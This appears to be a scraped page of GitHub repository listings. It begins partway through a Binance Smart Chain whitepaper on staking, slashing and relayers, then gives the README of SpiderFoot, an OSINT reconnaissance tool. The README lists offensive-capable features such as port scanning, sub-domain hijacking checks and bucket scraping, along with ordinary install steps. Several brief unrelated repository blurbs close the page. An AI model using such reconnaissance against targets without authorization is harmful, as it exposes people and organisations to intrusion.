chain +1 chain > 2 chains. # Staking and Governance Proof of Staked Authority brings in decentralization and community involvement. Its core logic can be summarized as the below. You may see similar ideas from other networks, especially Cosmos and EOS. 1. Token holders, including the validators, can put their tokens “**bonded**” into the stake. Token holders can **delegate** their tokens onto any validator or validator candidate, to expect it can become an actual validator, and later they can choose a different validator or candidate to **re-delegate** their tokens<sup>1</sup>. 2. All validator candidates will be ranked by the number of bonded tokens on them, and the top ones will become the real validators. 3. Validators can share (part of) their blocking reward with their delegators. 4. Validators can suffer from “**Slashing**”, a punishment for their bad behaviors, such as double sign and/or instability. 5. There is an “**unbonding period**” for validators and delegators so that the system makes sure the tokens remain bonded when bad behaviors are caught, the responsible will get slashed during this period. ## Staking on BC Ideally, such staking and reward logic should be built into the blockchain, and automatically executed as the blocking happens. Cosmos Hub, who shares the same Tendermint consensus and libraries with Binance Chain, works in this way. BC has been preparing to enable staking logic since the design days. On the other side, as BSC wants to remain compatible with Ethereum as much as possible, it is a great challenge and efforts to implement such logic on it. This is especially true when Ethereum itself may move into a different Proof of Stake consensus protocol in a short (or longer) time. In order to keep the compatibility and reuse the good foundation of BC, the staking logic of BSC is implemented on BC: 1. The staking token is BNB, as it is a native token on both blockchains anyway 2. The staking, i.e. token bond and delegation actions and records for BSC, happens on BC. 3. The BSC validator set is determined by its staking and delegation logic, via a staking module built on BC for BSC, and propagated every day UTC 00:00 from BC to BSC via Cross-Chain communication. 4. The reward distribution happens on BC around every day UTC 00:00. ## Rewarding Both the validator update and reward distribution happen every day around UTC 00:00. This is to save the cost of frequent staking updates and block reward distribution. This cost can be significant, as the blocking reward is collected on BSC and distributed on BC to BSC validators and delegators. (Please note BC blocking fees will remain rewarding to BC validators only.) A deliberate delay is introduced here to make sure the distribution is fair: 1. The blocking reward will not be sent to validator right away, instead, they will be distributed and accumulated on a contract; 2. Upon receiving the validator set update into BSC, it will trigger a few cross-chain transfers to transfer the reward to custody addresses on the corresponding validators. The custody addresses are owned by the system so that the reward cannot be spent until the promised distribution to delegators happens. 3. In order to make the synchronization simpler and allocate time to accommodate slashing, the reward for N day will be only distributed in N+2 days. After the delegators get the reward, the left will be transferred to validators’ own reward addresses. ## Slashing Slashing is part of the on-chain governance, to ensure the malicious or negative behaviors are punished. BSC slash can be submitted by anyone. The transaction submission requires **slash evidence** and cost fees but also brings a larger reward when it is successful. So far there are two slashable cases. ### Double Sign It is quite a serious error and very likely deliberate offense when a validator signs more than one block with the same height and parent block. The reference protocol implementation should already have logic to prevent this, so only the malicious code can trigger this. When Double Sign happens, the validator should be removed from the Validator **Set** right away. Anyone can submit a slash request on BC with the evidence of Double Sign of BSC, which should contain the 2 block headers with the same height and parent block, sealed by the offending validator. Upon receiving the evidence, if the BC verifies it to be valid: 1. The validator will be removed from validator set by an instance BSC validator set update Cross-Chain update; 2. A predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator; Both validator and its delegators will not receive the staking rewards. 3. Part of the slashed BNB will allocate to the submitter’s address, which is a reward and larger than the cost of submitting slash request transaction 4. The rest of the slashed BNB will allocate to the other validators’ custody addresses, and distributed to all delegators in the same way as blocking reward. ### Inavailability The liveness of BSC relies on everyone in the Proof of Staked Authority validator set can produce blocks timely when it is their turn. Validators can miss their turn due to any reason, especially problems in their hardware, software, configuration or network. This instability of the operation will hurt the performance and introduce more indeterministic into the system. There can be an internal smart contract responsible for recording the missed blocking metrics of each validator. Once the metrics are above the predefined threshold, the blocking reward for validator will not be relayed to BC for distribution but shared with other better validators. In such a way, the poorly-operating validator should be gradually voted out of the validator set as their delegators will receive less or none reward. If the metrics remain above another higher level of threshold, the validator will be dropped from the rotation, and this will be propagated back to BC, then a predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator. Both validators and delegators will not receive their staking rewards. ### Governance Parameters There are many system parameters to control the behavior of the BSC, e.g. slash amount, cross-chain transfer fees. All these parameters will be determined by BSC Validator Set together through a proposal-vote process based on their staking. Such the process will be carried on BC, and the new parameter values will be picked up by corresponding system contracts via a cross-chain communication. # Relayers Relayers are responsible to submit Cross-Chain Communication Packages between the two blockchains. Due to the heterogeneous parallel chain structure, two different types of Relayers are created. ## BSC Relayers Relayers for BC to BSC communication referred to as “**BSC Relayers**”, or just simply “Relayers”. Relayer is a standalone process that can be run by anyone, and anywhere, except that Relayers must register themselves onto BSC and deposit a certain refundable amount of BNB. Only relaying requests from the registered Relayers will be accepted by BSC. The package they relay will be verified by the on-chain light client on BSC. The successful relay needs to pass enough verification and costs gas fees on BSC, and thus there should be incentive reward to encourage the community to run Relayers. ### Incentives There are two major communication types: 1. Users triggered Operations, such as `token bind` or `cross chain transfer`. Users must pay additional fee to as relayer reward. The reward will be shared with the relayers who sync the referenced blockchain headers. Besides, the reward won't be paid the relayers' accounts directly. A reward distribution mechanism will be brought in to avoid monopolization. 2. System Synchronization, such as delivering `refund package`(caused by failures of most oracle relayers), special blockchain header synchronization(header contains BC validatorset update), BSC staking package. System reward contract will pay reward to relayers' accounts directly. If some Relayers have faster networks and better hardware, they can monopolize all the package relaying and leave no reward to others. Thus fewer participants will join for relaying, which encourages centralization and harms the efficiency and security of the network. Ideally, due to the decentralization and dynamic re-election of BSC validators, one Relayer can hardly be always the first to relay every message. But in order to avoid the monopolization further, the rewarding economy is also specially designed to minimize such chance: 1. The reward for Relayers will be only distributed in batches, and one batch will cover a number of successful relayed packages. 2. The reward a Relayer can get from a batch distribution is not linearly in proportion to their number of successful relayed packages. Instead, except the first a few relays, the more a Relayer relays during a batch period, the less reward it will collect. ## Oracle Relayers Relayers for BSC to BC communication are using the “Oracle” model, and so-called “**Oracle Relayers**”. Each of the validators must, and only the ones of the validator set, run Oracle Relayers. Each Oracle Relayer watches the blockchain state change. Once it catches Cross-Chain Communication Packages, it will submit to vote for the requests. After Oracle Relayers from ⅔ of the voting power of BC validators vote for the changes, the cross-chain actions will be performed. Oracle Replayers should wait for enough blocks to confirm the finality on BSC before submitting and voting for the cross-chain communication packages onto BC. The cross-chain fees will be distributed to BC validators together with the normal BC blocking rewards. Such oracle type relaying depends on all the validators to support. As all the votes for the cross-chain communication packages are recorded on the blockchain, it is not hard to have a metric system to assess the performance of the Oracle Relayers. The poorest performer may have their rewards clawed back via another Slashing logic introduced in the future. # Outlook It is hard to conclude for Binance Chain, as it has never stopped evolving. The dual-chain strategy is to open the gate for users to take advantage of the fast transferring and trading on one side, and flexible and extendable programming on the other side, but it will be one stop along the development of Binance Chain. Here below are the topics to look into so as to facilitate the community better for more usability and extensibility: 1. Add different digital asset model for different business use cases 2. Enable more data feed, especially DEX market data, to be communicated from Binance DEX to BSC 3. Provide interface and compatibility to integrate with Ethereum, including its further upgrade, and other blockchain 4. Improve client side experience to manage wallets and use blockchain more conveniently ------ [1]: BNB business practitioners may provide other benefits for BNB delegators, as they do now for long term BNB holders.
anthophilee / SpiderFoot ادات جلب معلوماتUSES SpiderFoot can be used offensively (e.g. in a red team exercise or penetration test) for reconnaissance of your target or defensively to gather information about what you or your organisation might have exposed over the Internet. You can target the following entities in a SpiderFoot scan: IP address Domain/sub-domain name Hostname Network subnet (CIDR) ASN E-mail address Phone number Username Person's name Bitcoin address SpiderFoot's 200+ modules feed each other in a publisher/subscriber model to ensure maximum data extraction to do things like: Host/sub-domain/TLD enumeration/extraction Email address, phone number and human name extraction Bitcoin and Ethereum address extraction Check for susceptibility to sub-domain hijacking DNS zone transfers Threat intelligence and Blacklist queries API integration with SHODAN, HaveIBeenPwned, GreyNoise, AlienVault, SecurityTrails, etc. Social media account enumeration S3/Azure/Digitalocean bucket enumeration/scraping IP geo-location Web scraping, web content analysis Image, document and binary file meta data analysis Dark web searches Port scanning and banner grabbing Data breach searches So much more... INSTALLING & RUNNING To install and run SpiderFoot, you need at least Python 3.6 and a number of Python libraries which you can install with pip. We recommend you install a packaged release since master will often have bleeding edge features and modules that aren't fully tested. Stable build (packaged release): $ wget https://github.com/smicallef/spiderfoot/archive/v3.3.tar.gz $ tar zxvf v3.3.tar.gz $ cd spiderfoot ~/spiderfoot$ pip3 install -r requirements.txt ~/spiderfoot$ python3 ./sf.py -l 127.0.0.1:5001 Development build (cloning git master branch): $ git clone https://github.com/smicallef/spiderfoot.git $ cd spiderfoot $ pip3 install -r requirements.txt ~/spiderfoot$ python3 ./sf.py -l 127.0.0.1:5001 Check out the documentation and our asciinema videos for more tutorials. COMMUNITY Whether you're a contributor, user or just curious about SpiderFoot and OSINT in general, we'd love to have you join our community! SpiderFoot now has a Discord server for chat, and a Discourse server to serve as a more permanent knowledge base.
devicons / Public Upload To ImgurA GitHub Action that can upload images to Imgur using their API
RosaErick / Erickrosa.devmy currently portfolio, built with TypeScript, Next.js 14, React, ChakraUI and ThreeJS. The blog uses Notion as a headless CMS. The projects were fetched using GitHub API.
cmoulton / GrokSwiftRESTDemo code for iOS Apps with REST APIs book v1.0. Updated code using Alamofire 4 & Swift 3 is available at https://github.com/cmoulton/grokSwiftREST_v1.3
nautilus-cyberneering / PygithubGit and GitHub API in Python. This repo contains some examples and an article about how to sign commits automatically using GitHub Actions.
smaeda-ks / Nomad Github Runners Autoscaler DemoA demo-purpose Node.js application that listens to the GitHub Webhooks event (workflow_job.queued) and dispatches Nomad parameterized jobs using Nomad HTTP API to launch "on-demand" GitHub Actions Self-hosted Runners easily and efficiently.
arcanemachine / Phoenix Todo ListYet another todo list. Made using the Phoenix web framework. Features: Basic CRUD, LiveView CRUD, REST API, OpenAPI spec, Playwright E2E tests, GitHub Actions CI, and more!
AnySoftKeyboard / AnySoftKeyboard API[DEPRECATED!] API library for AnySoftKeyboard. Use https://github.com/AnySoftKeyboard/LanguagePack/tree/master/api
